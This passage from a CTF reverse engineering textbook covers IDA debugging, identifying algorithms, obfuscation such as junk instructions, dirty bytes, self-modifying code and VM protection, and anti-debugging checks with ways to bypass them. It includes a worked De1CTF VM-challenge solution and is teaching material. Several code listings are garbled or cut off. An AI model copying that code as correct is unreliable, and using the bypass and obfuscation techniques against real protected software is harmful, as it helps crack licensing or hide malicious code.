running state, where it is waiting for user input. After entering something into the
program, the program will be suspended again. Now the Dst variable in the Locals
window displays the value you just entered (in this case, aab), see Fig. 5.59. The red
color indicates that the values of these variables have changed (the same behavior as
in Visual Studio).
5.3 Dynamic Debugging and Analysis 343
After continuing the execution to base64_decode, we can see that v5 has changed
to another value, see Fig. 5.60. However, v5 is actually a string that holds the correct
input. So, how do we get the contents of the string v5 points to?
There are two options for viewing v5’s content.
344 5 Reverse Engineering
Fig. 5.59 The red color indicates that the values of these variables have changed
① In the Location column of the Locals window, we can see that v5 is stored in RDI.
Click the button to the right of the value (of RDI) to jump to the corresponding
location in the disassembly window, see Fig. 5.61.
You can see that the flag is right in front of you, see Fig. 5.62. Continue with the data
type conversion operation described earlier: press ‘a’ to convert it to a string, see
Fig. 5.63.
② Modify the type of v5 from _BYTE * to char *. HexRays will think that v5 is a
string and display it in Locals. In the pseudo-code window, press Y to change v5
5.3 Dynamic Debugging and Analysis 345
to char* and confirm, then right-click and select Refresh in the Locals window,
the result is shown in Fig. 5.64.
So far, we have successfully used debugging to find the flag in memory. Note that
the behavior of variables in IDA is not exactly the same as that of variables in
C. Variables in IDA have a special life cycle, especially those stored in registers.
After a certain range, their values will be overwritten by other values, which is
unavoidable. Therefore, the values of variables in Locals are not reliable when they
are far from the referenced location. Trust the values shown in Locals only when the
variable is referenced or when the lifetime of the variable is clearly known.
5. Remote Debugging Configuration
This section uses IDA 7.0 for Windows and the file 2-simpleCrackme.
This section explains in detail how to use the Remote Debugging tool. Remote
debugging is similar to local debugging, except that the executable file to be
debugged runs on a remote computer. IDA’s remote debugging server is located in
the dbgsrv directory of IDA’s installation directory, see Fig. 5.65.
5.3 Dynamic Debugging and Analysis 347
IDA provides debugging servers for all major desktop systems from Windows,
Linux, Mac to mobile Android. Users can choose the corresponding server
according to the required architecture.
The 2-simpleCrackme file is an x86-64 architecture program running on Linux,
so you should choose the linux_server64 debug server. If you run the debug server in
a Linux virtual machine without parameters, the debug server will listen at 0.0.0.0:
23946.
Select Remote Linux debugger as the debugging backend in IDA, and then set the
Process options. All paths must be on the remote host, such as the /tmp directory
where the debugged executable is located. The address of the virtual machine is
linux-workspace (see Fig. 5.66). Set the parameters and click the “OK” button to
save.
All the rest is basically the same as the local debugging, IDA will load the file
with a pop-up dialog (see Fig. 5.67), wait for the user to confirm access to the remote
file. Click the “Yes” button.
348 5 Reverse Engineering
The IDA has successfully set a breakpoint and is ready to debug, see Fig. 5.68.
The remote server will also display a log, see Fig. 5.69, from which you can
determine if the IDA has successfully connected to the remote host.
Note that the program running through remote debugging shares the same
console with the debugging server. Users can interact with the debugged program
by entering directly into the server’s console.
The remote debugging server for Windows is used in a similar way, so we do not
stress its usage here again.
Many common algorithms, such as AES, DES, etc., use constants in their calcula-
tions, and these constants are often hard-coded into the program in order to improve
efficiency. By identifying these constants, one can make a rough and quick judgment
of the algorithm possibly used. Table 5.5 shows the constants that common algo-
rithms often use.
Table 5.5 The constants that common algorithms often use
Algorithm Constants (in hexadecimal unless otherwise specified) Note
TEA Series 9e3779b9 Delta values
AES 63 7c 77 7b f2 6b 6f c5 ... S-Box
5.4 Common Algorithm Identification
Fig. 5.70 The results of the analysis using the FindCrypt plugin
With this simple identification method, many people have developed constant
lookup plugins for various analysis tools, such as IDA’s FindCrypt, PEiD’s
KANAL, etc., which are very handy when analyzing executable files. Figure 5.70
shows the results of the analysis of a program using AES (Rijndael) and MD5
algorithms using the FindCrypt plugin.
Obviously, the confrontation with this analysis method is very simple, i.e.,
deliberate modification of these constants. Therefore, constant recognition can
only be used as a means to make quick judgments. After making a judgment,
reproduction (i.e. to re-implement the algorithm using another language like C and
test its output) or dynamic debugging is required to verify that the judgment is
correct.
When the constants are not sufficient to identify an algorithm, we can go deeper
inside the binary file and infer whether the program uses certain algorithms by
analyzing whether the program uses certain featured operations or not. Table 5.6
gives the operations of some commonly used algorithms in CTF reverse engineering
challenges.
Featured operation identification is also a fast judgment method. It requires
dynamic debugging or algorithm reproduction before a conclusion can be made.
1. String Identification
Many third-party libraries come together with copyright information and other
strings used by the library (such as error messages). At static compilation time,
these strings are put into the binary file. By looking for these strings, you can quickly
determine which third-party libraries are used for further analysis. Figure 5.71 shows
an example of using string information to determine if a program uses the MIRACL
library.
2. Function Signature Identification
Sometimes it is necessary to identify a specific function after identifying the library
used by the program. In the previous chapters of this book, we have briefly described
how to use IDA’s signature matching functionality to identify C library functions. In
fact, this functionality not only identifies C libraries. Each binary function can have
352 5 Reverse Engineering
its own signature. For third-party library functions that also consist of binary
machine code, IDA can also quickly match function names, parameters, and other
information with the corresponding signature library. IDA comes with signature files
for many common libraries other than the C runtime library, such as the Visual C++
MFC library.
The reader can load the function signature in the way described above, or by
selecting “Load File ! FLIRT Signature file” in the IDA File menu, as shown in
Figs. 5.72 and 5.73.
If IDA doesn’t have a pre-built library function signature to recognize, you can
find the appropriate signature libraries on the Internet at https:// github.com/
push0ebp/sig-database or https://github.com/Maktm/FLIRTDB. Or you can make
use of the FLAIR tool provided within the IDA SDK, create your own signature
based on existing static library files like .a, .lib, etc., put it in sig folder, and then load
it in IDA. For the use of the FLAIR tool, please refer to the Internet for information.
3. Binary Similarity
Due to differences in various ways, such as compilation flags or environments,
signatures may not match the provided library exactly. However, even if the
compilation environment is different, there are similarities between compiled library
functions in binaries that use the same library. If we know that the programmer used
a certain library, and if we can get a statically compiled binary file that contains the
debug symbols and also uses the library, we can use the binary similarity approach to
identify each library function.
A popular tool for binary comparison is BinDiff (https://www.zynamics.com/
bindiff.html), which was originally developed by Zynamics, but was acquired later
by Google and made freeware. This tool can be used either as a standalone or as a
plugin for IDA and is very powerful.
5.5 Binary Code Protection and Obfuscation 353
When we have prepared the file to be reversed and our own compiled file (with
debug symbols), we can load BinDiff in IDA, and then load the IDBs of the two files
separately, and wait a moment to see the comparison results, see Fig. 5.74.
The results of the comparison will show the similarity between the two functions,
their changes, and their respective function names, which can be double-clicked to
jump to a specific function. If you can manually determine that two functions are
indeed the same, you can rename the function using the shortcut menu. In general, if
the comparison shows that the two functions are almost unchanged (Similarity is
extremely high, Change has no or only I) and they are not empty functions, there is a
high probability that they are the same function. If there are a few changes (Simi-
larity is around 0.9, 2-3 Changes), you need to look at them manually to make
judgments.
In real life, the game of attack and defense is everywhere. In order to prevent your
binary programs from being reverse engineered, many software programs use a
variety of methods to put up barriers to the program. The protection of binary code is
extremely diverse and flexible, e.g., a certain degree of obfuscation of assembly
354 5 Reverse Engineering
instructions can interfere with the disassembling process in static analysis; various
anti-debugging techniques can be interspersed in the program to effectively defend it
against dynamic analysis. Virtualization of key algorithms in the program can cause
a great deal of resistance to the reverse engineer. In this section, we will discuss
binary code protection and obfuscation, combining CTFs and common protection
methods in real production environments.
After loading a binary program, tools such as IDA Pro, commonly used in reverse
engineering, or newer tools such as Ghidra, first disassemble the program:
converting the machine code into assembly instructions and performing further
analysis based on the results of the disassembly. Obviously, if the results of
disassembly are disturbed, then static analysis becomes very difficult. In addition,
the correctness of disassembly results will directly affect the correctness of
decompilation tools such as Hex-Rays Decompiler. As a result, many developers
choose to do something to the assembly instructions to prevent the decompiler from
generating pseudo-code with clear logic, thus increasing the workload of the
reverser.
The easiest way to interfere with a disassembler is to add junk instructions to the
code. Junk instructions are instructions that are completely redundant in a program
and do not affect the program’s functionality but interfere with the reverse
5.5 Binary Code Protection and Obfuscation 355
engineering process. Junk instructions do not have a fixed form. The following is an
example of some junk instructions (unless otherwise noted, the assembly code in this
section is x86 32-bit assembly). Consider the following assembly code.
push ebp
mov ebp, esp
sub esp, 0x100
push ebp
pushfd
add esp, 0xd
nop
sub esp, 0xd
popfd
mov ebp, esp
sub esp, 0x100
, then the complexity of the code increases significantly, but the effect of the
actual operation performed does not change. In addition, instructions such as pushfd
and popfd cause errors in some reverse tools during parsing stack pointers.
Another common method of interfering with static analysis is to insert a specific
byte among normal instructions and precede that byte with a jump statement to the
end of the byte to ensure that the effect of the actually executed instruction remains
the same. For this particular byte, it is required that it be the first byte of a longer
instruction (e.g., 0xE8 is the first byte of a call instruction), and the inserted byte is
called a dirty byte. Since x86 is a variable-length instruction set, if the disassembler
does not properly parse from the beginning of each instruction, it can result in
parsing errors or even complete failure to perform subsequent analysis.
Two of the most representative disassembly algorithms, linear scan, and recursive
descent, have been introduced before. For the linear sweep disassembling tools such
as OllyDBG and WinDBG, we can simply use an unconditional jump instruction to
insert the dirty byte since they only parse down linearly one by one from the starting
address. For the preceding code fragment, we insert a jump instruction between the
first and second instructions and add a byte 0xE8, as follows.
push ebp
jmp addr1
db 0xE8
addr1:
mov ebp, esp
sub esp, 0x100
356 5 Reverse Engineering
push ebp
jz addr1
jnz addr1
db 0xE8
addr1:
mov ebp, esp
sub esp, 0x100
push ebp
jz addr2
jnz addr2
db 0xE8
addr3:
sub esp, 0x100
...
addr2:
mov ebp, esp
jmp addr3
Fig. 5.75 Two conditional jump instructions with the opposite conditions
example, the function call instruction call can be replaced by another instruction,
such as the following instruction:
call addr
push return_addr
push addr
ret
And the function return instruction ret can also be replaced by the following code
segment.
push ecx
mov ecx, [esp+4]
add esp,8
jmp ecx
Note that this substitution destroys the ecx register, so we need to make sure that
ecx is not being used by the program at the moment. In practice, we are free to adjust
it according to the program’s context. In CTF, challenges often choose to replace
instructions that involve function calls and returns, such as the above call, ret, etc.
This can cause errors in function address range and call relationships analysis of IDA
Pro and other tools, which can interfere with static analysis.
Two examples of obfuscation techniques that have been seen in CTFs are given
below. Figure 5.75 uses two conditional jump instructions with the opposite condi-
tions and inserts a dirty byte after them, thus achieving the goal of interfering with
IDA static analysis. The target address of the jump in the figure is 402669+1, but
IDA parsed the instruction starting from 402669. In this case, simply set the content
at 402669 to data in IDA, and then set the contents at 402669+1 to code to properly
do the parsing.
Figure 5.76 uses instruction substitution, replacing a direct downward jump with
a call instruction plus a stack pointer restoring operation. Since the call instruction
pushes the EIP of the next instruction into the stack, an “add esp, 4” instruction is
used to restore the stack pointer. In this case, we need to first change the instruction
358 5 Reverse Engineering
back to a direct downward jump, and then redefine the address range of the function
in IDA to get the correct result.
Another common defense against static analysis is Self-Modifying Code (SMC),
which is a means for a program to modify its code on the run so that the real code
does not appear in the static analysis, thus making it more difficult to reverse.SMC
can often be seen in CTFs, some shelling programs use SMC too. Generally, the
code to be SMC-ed will be recognized as data in tools such as IDA. Also, sometimes,
there are operations that treat the data address as a function pointer and make
function calls, see Figs. 5.77 and 5.78.
There are two basic solutions to this situation: (1) Static analysis of the self-
modification process. Implement the SMC process yourself, get the real code to be
executed and patch the data to the real codes, then you can continue the static
analysis; (2) Use dynamic analysis methods. Set a breakpoint at someplace when
the code has already been decrypted, and then use a debugger to trace the real
execution of the code, or dump the decrypted code and send it to IDA for further
static analysis.
5.5 Binary Code Protection and Obfuscation 359
5.5.2 Encryption
Section 5.3 introduces the concept of shells and explains the basic shelling method of
compressing shells. This section briefly introduces the ideas of encrypting shells and
discusses the methods for solving virtual machine protected challenges that often
occur in CTFs.
The encryption of a binary program performed by an encrypting shell can be
generally classified into data encryption, code encryption, and algorithm encryption.
Data encryption generally refers to the process of encrypting existing data in a
program, which is usually decrypted at the appropriate time (e.g., by placing data
decryption logic in all references to the data). Similarly, code encryption generally
refers to the process of encrypting and transforming instructions in a program’s code
segment, which is usually decrypted when the actual code needs to be executed (this
process uses SMC). For example, some commercial programs will encrypt their
premium functions using cryptographic algorithms. Only when decrypted with a
proper license key can these premium functions be accessed.
The more common encryption technique used in CTFs is algorithm encryption.
Algorithm encryption places more emphasis on the obfuscation of algorithms. The
most common method is Virtual Machine (VM) protection. VM protection was first
used in encrypting shells and is the strongest protection for some shells, the most
representative of which is the Virtual Machine shell VMProtect, which not only
provides regular data encryption, code encryption, and other anti-debugging func-
tions but also virtualizes certain program logic at the assembly level. The Virtual
Machine shell is a program that converts all the assembly instructions within a
specified code segment, into a set of instructions written by the shell’s designer
(called VM bytecode). These bytecodes will be simulated by the virtual machine
360 5 Reverse Engineering
executor (VM CPU). Note that this is not the same concept as the virtual machine
program (e.g. VMWare), which is a much larger program designed to virtualize a
complete set of hardware environments to support the running of an operating
system and other software. A virtual machine shell is a much smaller program,
that is designed to obfuscate, obscure, and hide as much of the original program code
and algorithm logic as possible.
The development of encrypting shells based on VM protection has led to
extremely complex obfuscation, and it has become extremely difficult and time-
consuming for reversers to restore protected algorithms. In CTFs, we often see VMs
that are actually simplified, abstracted, and generally not virtualized for assembly
instructions on real CPUs such as x86 or x64. Usually, the challenge designer will
design a simplified instruction set for the algorithm used in the program. For
example, the implementation of a Caesar Cipher may require additive and modulo
operations, so it is possible to design an instruction set containing additive and
modulo instructions. Then implement the cipher using the instructions from the self-
designed instruction set, compile it into virtual machine code (VM bytecode) of the
instruction set, and finally pass the bytecode to a VM executor function to execute
it. To reverse engineer this type of protection method, we can first reverse engineer
its virtual CPU execution function, restore the instruction set of the virtual architec-
ture, then write a disassembler to disassemble the virtual bytecode, and finally,
analyze the real algorithm of the challenge according to the result of disassembly
to get the flag.
The following is an example of how to solve the signal_vm_de1ta RE challenge
in De1CTF 2019. The challenge is a Linux executable program, it unconventionally
implements a VM executable function through signal, ptrace, and other mechanisms,
which is not shown in this section due to its large amount of codes. What we need is
to understand the logic of its implementation according to the principle of ptrace,
then restore the instruction set of the virtual machine and get the disassembly. After
reversing the logic of the ptrace part, we can write the following disassembler script
in Python.
def run_disasm():
def byte(ip, n): return code[ip+n]
def dword(ip): return code[ip] + code[ip+1]*0x100 + \cr\
code[ip+2]*0x10000 + code[ip+3]*0x1000000
code = [204, 1, 7, 0, 0, 0, 0, 204, 1, 8, 1, 0, 0, 0, 0, 0, 0, 0 ...] ]
disasm = ''
vip = 0
while vip < len(code):
v11 = 0
cur_ip = vip
if byte(cur_ip, 0) == 0xcc: # case 0x5
if byte(cur_ip, 1) == 1:
v11 = dword(cur_ip+3)
vip += 7
else:
v11 = byte(cur_ip, 3)
5.5 Binary Code Protection and Obfuscation 361
vip += 4
if byte(cur_ip, 1) == 1:
disasm += ('label_%d:\t' % cur_ip) + 'reg[%d] = %d;\n' % (byte
(cur_ip, 2), v11)
elif byte(cur_ip, 1) > 1:
if byte(cur_ip, 1) == 2:
disasm += ('label_%d:\t' % cur_ip) + 'reg[%d]=mem[reg[%d]];\n' % (byte
(cur_ip,2), v11)
elif byte(cur_ip, 1) == 0x20:
disasm += ('label_%d:\t' % cur_ip) + 'mem[reg[%d]] = reg[%d];\n' %
(byte(cur_ip, 2), v11)
elif byte(cur_ip, 1) == 0:
disasm += ('label_%d:\t' % cur_ip) + 'reg[%d] = reg[%d];\n' % (byte
(cur_ip, 2), v11)
continue
if byte(cur_ip, 0) == 6: # case 0x4
v10 = byte(cur_ip, 2)
v14 = 'reg[%d]' % byte(cur_ip, 3)
if v10 == 1:
vip += 8
v11 = dword(cur_ip + 4)
elif v10 == 0:
vip += 5
v11 = 'reg[%d]' % byte(cur_ip, 4)
v10 = byte(cur_ip, 1)
if v10 == 0:
v14 += ' += ' += ' + str(v11)
elif v10 == 1:
v14 += ' -= ' + str(v11)
elif v10 == 2:
v14 += ' *= ' + str(v11)
elif v10 == 3:
v14 += ' /= ' + str(v11)
elif v10 == 4:
v14 += ' %= ' + str(v11)
elif v10 == 5:
v14 += ' |= ' + str(v11)
elif v10 == 6:
v14 += ' &= ' + str(v11)
elif v10 == 7:
v14 += ' ^= ' + str(v11)
elif v10 == 8:
v14 += ' <<= ' + str(v11)
elif v10 == 9:
v14 += ' >>= ' + str(v11)
disasm += ('label_%d:\t' % cur_ip) + v14 + ';\n'
continue
if byte(cur_ip, 2) == 0xf6 and byte(cur_ip, 3) == 0xf8: # case 0x8
if byte(cur_ip, 4) == 1:
v11 = dword(cur_ip+6)
v6 = 'reg[%d] - %d' % (byte(cur_ip, 5), v11)
disasm += ('label_%d:\t' % cur_ip) + 'g_cmp_result = %s;\n' % v6
vip += 10
362 5 Reverse Engineering
elif byte(cur_ip, 4) == 0:
v11 = byte(cur_ip, 6)
v6 = 'reg[%d] - reg[%d]' % (byte(cur_ip, 5), v11)
disasm += ('label_%d:\t' % cur_ip) + 'g_cmp_result = %s;\n' % v6
vip += 7
continue
if byte(cur_ip, 0) == 0 and byte(cur_ip, 1) == 0: # case 0xb
arg = dword(cur_ip+3)
vip += 7
if byte(cur_ip, 2) == 0:
disasm += ('label_%d:\t' % cur_ip) + 'goto label_%d;\n' % ((cur_ip +
arg) & 0xffffffffff)
elif byte(cur_ip, 2) == 1:
disasm += ('label_%d:\t' % cur_ip) + \cr\
'if (g_cmp_result==0) goto label_%d;\n' % ((cur_ip + arg) &
0xffffffff)
elif byte(cur_ip, 2) == 2:
disasm += ('label_%d:\t' % cur_ip) + \cr\
'if (g_cmp_result!=0) goto label_%d;\n' % ((cur_ip + arg) &
0xffffffff)
elif byte(cur_ip, 2) == 3:
disasm += ('label_%d:\t' % cur_ip) + \cr\
'if (g_cmp_result>0) goto label_%d;\n' % ((cur_ip + arg) &
0xffffffff)
elif byte(cur_ip, 2) == 4:
disasm += ('label_%d:\t' % cur_ip) + \cr\
'if (g_cmp_result>=0) goto label_%d;\n' % ((cur_ip + arg) &
0xffffffff)
elif byte(cur_ip, 2) == 5:
disasm += ('label_%d:\t' % cur_ip) + \cr\
'if (g_cmp_result<0) goto label_%d;\n' % ((cur_ip + arg) &
0xffffffff)
elif byte(cur_ip, 2) == 6:
disasm += ('label_%d:\t' % cur_ip) + \cr\
'if (g_cmp_result<=0) goto label_%d;\n' % ((cur_ip + arg) &
0xffffffff)
continue
if byte(cur_ip, 0) == 195:
disasm += ('label_%d:\t' % cur_ip) + 'return;\n'
vip += 1
break
if byte(cur_ip, 0) == 144:
disasm += ('label_%d:\t' % cur_ip) + 'nop;\n'
vip += 1
continue
print('unknown opcode')
exit()
print(disasm)
if __name__ == '__main__':
run_disasm()
This script restores the logic of the virtual machine executor function
(implemented through signals & ptraces) in the challenge, allowing us to parse the
5.5 Binary Code Protection and Obfuscation 363
VM bytecode and disassemble it into a more readable form. Running the script, we
can get the following output.
label_0: reg[7] = 0;
label_7: reg[8] = 1;
label_14: goto label_605;
label_21: reg[4] = 0;
label_28: reg[5] = 0;
label_35: reg[6] = 0;
label_42: reg[3] = 0;
label_49: goto label_244;
label_56: reg[0] = reg[4];
label_60: reg[0] += 1;
label_68: reg[0] *= reg[4];
label_73: reg[0] >>= 1;
label_81: reg[2] = reg[0];
label_85: reg[0] = reg[5];
label_89: reg[0] += reg[2];
label_94: reg[2] = reg[0];
label_98: reg[0] = 384;
label_105: reg[0] += reg[2];
label_110: reg[1] = mem[reg[0]];
label_114: reg[0] = reg[3];
label_118: reg[2] = reg[0];
label_122: reg[0] = 128;
label_129: reg[0] += reg[2];
label_134: mem[reg[0]] = reg[1];
label_138: reg[0] = reg[3];
label_142: reg[2] = reg[0];
label_146: reg[0] = 128;
label_153: reg[0] += reg[2];
label_158: reg[0] = mem[reg[0]];
label_162: reg[0] = reg[0];
label_166: reg[6] += reg[0];
label_171: reg[0] = 101;
label_178: reg[0] -= reg[3];
label_183: reg[2] = reg[0];
label_187: reg[0] = 0;
label_194: reg[0] += reg[2];
label_199: reg[0] = mem[reg[0]];
label_203: g_cmp_result = reg[0] - 49;
label_213: if (g_cmp_result!=0) goto label_228;
label_220: reg[5] += 1;
label_228: reg[4] += 1;
label_236: reg[3] += 1;
label_244: g_cmp_result = reg[3] - 99;
label_254: if (g_cmp_result<=0) goto label_56;
label_261: reg[0] = reg[6];
label_265: g_cmp_result = reg[0] - reg[7];
label_272: if (g_cmp_result<=0) goto label_374;
label_279: reg[0] = reg[6];
label_283: reg[7] = reg[0];
label_287: reg[3] = 0;
364 5 Reverse Engineering
We can then analyze the program’s solution based on the results of the
disassembler. However, it’s still not an easy task, considering the large number of
assembly instructions. The reader may have noticed that when writing the
disassembler, the format of the output is intentionally converted to a C-like syntax.
That’s because we are going to “decompile” these statements using a modern
compiler, which offers amazing optimization techniques.
We can further organize the disassembled results into the following valid format
for C compilers.
#include <stdio.h>
// Extract from the title
char mem[5434] = {48, 48, 48, 48, 48, 48, 48, 48, 48, 48, ...} ;
void main_logic() {
int g_cmp_result;
int reg[9] = {0};
label_0:
reg[7] = 0;
label_7:
reg[8] = 1;
label_14:
goto label_605;
label_21:
reg[4] = 0;
label_28:
reg[5] = 0;
label_35:
reg[6] = 0;
// Several codes are omitted here.
label_605:
reg[0] = 1;
label_612:
reg[0] = mem[reg[0]];
label_616:
g_cmp_result = reg[0] - 48;
label_626:
if (g_cmp_result == 0) goto label_21;
label_633:
return;
}
int main() {
main_logic();
366 5 Reverse Engineering
return 0;
}
void sub_401000()
{
int v0; // ecx
int v1; // esi
int new_sum; // ebx
int idx; // edx
int v4; // edi
char v5; // cl
int v6; // ecx
int v7; // ecx
int v8; // edx
char v9; // al
int sum; // [esp+4h] [ebp-4h]
sum = 0;
while(current_path_1 == '0')
{
v0 = 0;
v1 = 0;
new_sum = 0;
idx = 0;
do
{
v4 = v0 + 1;
v5 = characters[(((v0 + 1) * v0) >> 1) + v1];
current_solution[idx] = v5;
new_sum += v5;
if (current_path_2[-idx + 99] == '1')
++v1;
v0 = v4;
++idx;
} while (idx - 99 <= 0);
if (new_sum - sum > 0)
{
v6 = 0;
do
{
solution[v6] = current_solution[v6];
++v6;
} while (v6 - 99 <= 0);
sum = new_sum;
}
v7 = 1;
v8 = 101;
5.5 Binary Code Protection and Obfuscation 367
do
{
v9 = current_path_0[v8];
if (v9 == '0')
{
current_path_0[v8] = v7 ^ '0';
v7 = 0;
}
else
{
current_path_0[v8] = v7 ^ v9;
}
--v8;
} while (v7 == 1);
}
}
The algorithm logic is now clearly visible. The compiler has helped us optimize it
perfectly. The program has a built-in array of characters. Looking at the algorithm
that generates the flag, it can be seen that the structure of the array should be a
triangle as shown below.
~
tD
rC$
5i!=
%Naql
Xz]n4_
kuKg^d
97Ngl-fG
o)zrYe,iU
0IbU~YB:$
S=>Pi:i-ux*
iPØ0oxs(|&@N
. . .. . .
The algorithm that generates the flag starts from the vertices of the triangle (the
first character) and exhaustively finds a path with the largest sum to the bottom. This
is a simple classical problem that can be solved using dynamic programming.
def solve():
def get_pos(x, y): return x*(x+1)//2+y
def max(x, y): return x if x > y else y
# the charset
tbl = [126, 116, 68, 114, 67, 36, 53, 105, 33, 61, 37, 78, 97, 113, . . .]
dp = [0] * 5050
dp[0] = tbl[0]
for i in range(1, 100):
dp[get_pos(i, i)] = dp[get_pos(i-1, i-1)] + tbl[get_pos(i, i)]
dp[get_pos(i, 0)] = dp[get_pos(i-1, 0)] + tbl[get_pos(i, 0)]
for i in range(2, 100):
368 5 Reverse Engineering
Run the solution script in Python, we can get the following output.
That’s the solution to this VM reverse engineering problem. Note that not all VM
challenges in CTFs require this method. For those with a small number of virtual
bytecodes and simple VM executor logic, an extremely efficient method is to trace
and log the instructions being run during debugging (commonly known as “log-
ging”). We can achieve this using IDAPython, GDB script, or various Hook
frameworks. This approach does not require a complete reverse of the VM executor.
Although it does not completely restore the verification logic, it does give us a
glimpse into part of the running logic. An experienced reverser can then deduce the
complete logic to solve the challenge quickly. Therefore, in an actual competition,
we need to be flexible in dealing with various situations and find the optimal way to
solve the problem.
5.5.3 Anti-debugging
For example, the BeingDebugged field of the Process Environment Block (PEB) of a
process being debugged in Windows is set to True, giving rise to the
IsDebuggerPresent() API, which detects whether or not the process is currently
being debugged. Some anti-debugging techniques cleverly exploit debugger imple-
mentation mechanisms, such as ordinary debuggers that modify memory to achieve
software breakpoints (e.g., setting the start byte of an instruction to 0xCC INT 3, and
then listening for EXCEPTION_ BREAKPOINT exceptions), leading to a memory-
checksum-based breakpoint detection method. Some anti-debugging methods use
API features provided by the operating system, such as calling ptrace
(PTRACE_TRACEME) under Linux, which puts the current process in the trace
(debugging) state of its parent process, and according to the rules, no other debugger
can debug the current process.
There are many more complex anti-debugging techniques, and they are not
unbreakable. For the anti-debugging techniques mentioned above, they can be easily
bypassed if we understand how they work, thus reducing the complexity of the
subsequent reverse engineering process.
Here are some common anti-debugging techniques and ways to bypass them,
using Windows applications as an example.
1. Windows API
The Windows operating system provides a number of APIs for detecting the state of
a process. By calling these APIs, a program can detect whether or not it is currently
being debugged.
(1) IsDebuggerPresent()
bool CheckDebug1() {
BOOL ret;
ret = IsDebuggerPresent();
return ret;
}
(2) CheckRemoteDebuggerPresent()
bool CheckDebug2() {
BOOL ret;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &ret);
return ret;
}
(3) NtQueryInformationProcess()
ULONG processInformationLength,
PULONG returnLength
);
bool CheckDebug3() {
int debugPort = 0;
HMODULE hModule = LoadLibrary(L"Ntdll.dll");
NtQueryInformationProcessPtr NtQueryInformationProcess =
(NtQueryInformationProcessPtr)GetProcAddress(hModule,
"NtQueryInformationProcess");
NtQueryInformationProcess(GetCurrentProcess(),
(PROCESSINFOCLASS)0x7, &debugPort,
sizeof(debugPort), NULL);
return debugPort != 0;
}
Each of these detecting methods is based on a different principle. The easiest and
most efficient way of bypassing them is to Hook the corresponding API. For
example, for CheckDebug1, the IsDebuggerPresent actually returns the value of
the BeingDebugged field in the PEB. Therefore, we can write the Hook function,
force the API to always return False. For CheckDebug3, we can also write a Hook
function to Hook the NtQueryInformationProcess, force the third parameter to zero
and return, when the second parameter is 0x7. There are already a number of
excellent tools in the industry that can help us automatically Hook this class of
APIs and bypass a significant portion of the anti-debugging techniques, such as a
powerful user-level anti-anti-debugging tool called ScyllaHide (https://github.com/
x64dbg/ScyllaHide), which can be used as a plugin for OllyDbg, x64dbg, IDA and
other common tools, and also supports standalone operations. The latest version of
this tool is able to bypass the anti-debugging mechanisms of VMProtect 3.x.
Interested readers can explore this on their own.
2. Breakpoint Detection
In general, the two types of breakpoints commonly used in debugging are software
breakpoints and hardware breakpoints. Software breakpoints are often achieved by
modifying memory (note that they are different from memory breakpoints), and the
existence of these types of breakpoints can be detected by detecting whether the
memory (where the codes lie) has been modified or not. For example, to protect a
classic MFC CrackMe program using breakpoints detection, we could do the
following.
(The verification logic of the program is in the OnBnClickedButton1 function.)
DWORD addr3;
int sum = 0;
void CALLBACK TimerProc(
HWND hWnd, // handle of CWnd that called SetTimer
UINT nMsg, // WM_TIMER
UINT_PTR nIDEvent, // timer identification
DWORD dwTime // system time
5.5 Binary Code Protection and Obfuscation 371
){
DWORD pid;
GetWindowThreadProcessId(hWnd, &pid);
HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
// Use the self-written MyGetProcAddress to avoid getting incorrect
function addresses due to compatibility issues with higher versions.
DWORD addr1 = MyGetProcAddress(GetModuleHandleA(("User32.dll")),
"MessageBoxW");
DWORD addr2 = MyGetProcAddress(GetModuleHandleA("User32.dll"),
"GetWindowTextW");
#define CHECK_SIZE 200
char buf1, buf2;
char buf3[CHECK_SIZE] = {0};
SIZE_T size;
// MessageBoxW first byte
ReadProcessMemory(handle, (LPCVOID)addr1, &buf1, 1, &size);
// GetWindowTextW first byte
ReadProcessMemory(handle, (LPCVOID)addr2, &buf2, 1, &size);
// Extract 200 bytes from the OnBnClickedButton1 function.
ReadProcessMemory(handle, (LPCVOID)addr3, &buf3, CHECK_SIZE,
&size);
int currentSum = 0;
for (int i = 0; i < CHECK_SIZE; i++) {
currentSum += buf3[i];
}
if (sum) { // global
if (currentSum ! = sum) {
TerminateProcess(handle, 1); // Checksum incorrect, exits the
program.
}
}
else {
sum = currentSum;
}
if ((byte)buf1 == 0xcc || (byte)buf2 == 0xcc) {
TerminateProcess(handle, 1); // INT 3 breakpoint detected,
exits the program.
}
CloseHandle(handle);
}
// Program initialization codes
...
addr3 = (DWORD)pointer_cast<void*>(&CMFCApplication1Dlg::
OnBnClickedButton1);
SetTimer(1, 100, TimerProc);
...
This code will detect software breakpoints set within the first 200 bytes of the
OnBnClickedButton1 function and software breakpoints set at the beginning of the
MessageBoxW (pops up a message box) and GetWindowTextW (gets user input)
APIs and will call the TerminateProcess to exit the program upon detection. The
372 5 Reverse Engineering
#include <stdio.h>
#include <Windows.h>
bool CheckHWBP() {
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
if (GetThreadContext(GetCurrentThread(), &ctx)) {
return ctx.Dr0 != 0 || ctx.Dr1 != 0 || ctx.Dr2 != 0 || ctx.Dr3 != 0;
}
return false;
}
int main() {
/*
...
Some codes
...
*/
if (CheckHWBP()) {
printf("HW breakpoint detected!\n");
exit(0);
}
/*
...
Some other codes
...
*/
return 0;
}
Compiling this code, debugging the main function with x64dbg, and set a
hardware breakpoint before the program begins its detection. We can see that the
program successfully detects the existence of this hardware breakpoint, see
Fig. 5.79.
Since this detecting mechanism also relies on a system API (GetThreadContext),
we can bypass it using Hook. Based on a similar principle, the tool ScyllaHide
mentioned earlier provides a DRx Protection option to counter hardware breakpoint
detection.
5.5 Binary Code Protection and Obfuscation 373
typedef
_IRQL_requires_same_
_Function_class_(EXCEPTION_ROUTINE)
EXCEPTION_DISPOSITION
NTAPI
EXCEPTION_ROUTINE (
_Inout_ struct _EXCEPTION_RECORD *ExceptionRecord,
_In_ PVOID EstablisherFrame,
_Inout_ struct _CONTEXT *ContextRecord,
_In_ PVOID DispatcherContext
);
It contains a lot of useful information, including all the information in the thread
context state (such as general registers, segment selectors, IP registers, etc.) when an
exception is generated, which can be used to easily control the exception handling.
For example, if you need to increase the value of EIP by 1 to continue execution
when an exception occurs, you can use the following callback function.
Next is a pointer to the next item in the chain and Handler is a pointer to the
corresponding callback function. In 32-bit assembly codes, we often see the follow-
ing operation, which serves to construct an EXCEPTION_REGISTRATION_
